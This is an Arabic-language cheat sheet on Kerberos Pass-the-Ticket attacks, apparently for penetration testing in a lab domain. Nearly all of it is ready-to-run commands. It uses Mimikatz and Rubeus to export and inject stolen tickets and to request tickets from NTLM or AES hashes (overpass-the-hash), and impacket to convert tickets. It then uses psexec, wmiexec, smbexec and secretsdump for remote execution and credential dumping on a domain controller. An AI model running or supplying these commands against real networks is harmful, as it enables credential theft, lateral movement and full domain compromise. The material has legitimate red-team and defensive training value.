الـ PTT هو هجوم يستخدم Kerberos ticket (عادةً TGT أو TGS) مسروق للمصادقة بدون كلمة مرور. يعتمد على بروتوكول Kerberos.
# تصدير كل التكتات الموجودة في الذاكرة
sekurlsa::tickets /export
# حقن تكت
kerberos::ptt ticket.kirbi
# أو من Base64
kerberos::ptt [base64_ticket]
# تحقق من التكتات
klist
# مسح التكتات
kerberos::purge
# تصدير التكتات من الذاكرة
Rubeus.exe dump /nowrap
Rubeus.exe dump /luid:0x3e4 /nowrap
# حقن تكت
Rubeus.exe ptt /ticket:ticket.kirbi
Rubeus.exe ptt /ticket:<base64_ticket>
# طلب TGT جديد (overpass-the-hash)
Rubeus.exe asktgt /user:Administrator /rc4:<NTLM_HASH> /ptt
# استخدام AES256
Rubeus.exe asktgt /user:Administrator /aes256:<AES_HASH> /ptt /opsec
Import-Module .\Invoke-Mimikatz.ps1
# تصدير التكتات
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# حقن تكت
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
# تحويل .kirbi إلى .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# تحويل .ccache إلى .kirbi
impacket-ticketConverter ticket.ccache ticket.kirbi
export KRB5CCNAME=ticket.ccache
# psexec
impacket-psexec ignite.local/[email protected] -k -no-pass
# wmiexec
impacket-wmiexec ignite.local/[email protected] -k -no-pass
# smbexec
impacket-smbexec ignite.local/[email protected] -k -no-pass
# secretsdump
impacket-secretsdump ignite.local/[email protected] -k -no-pass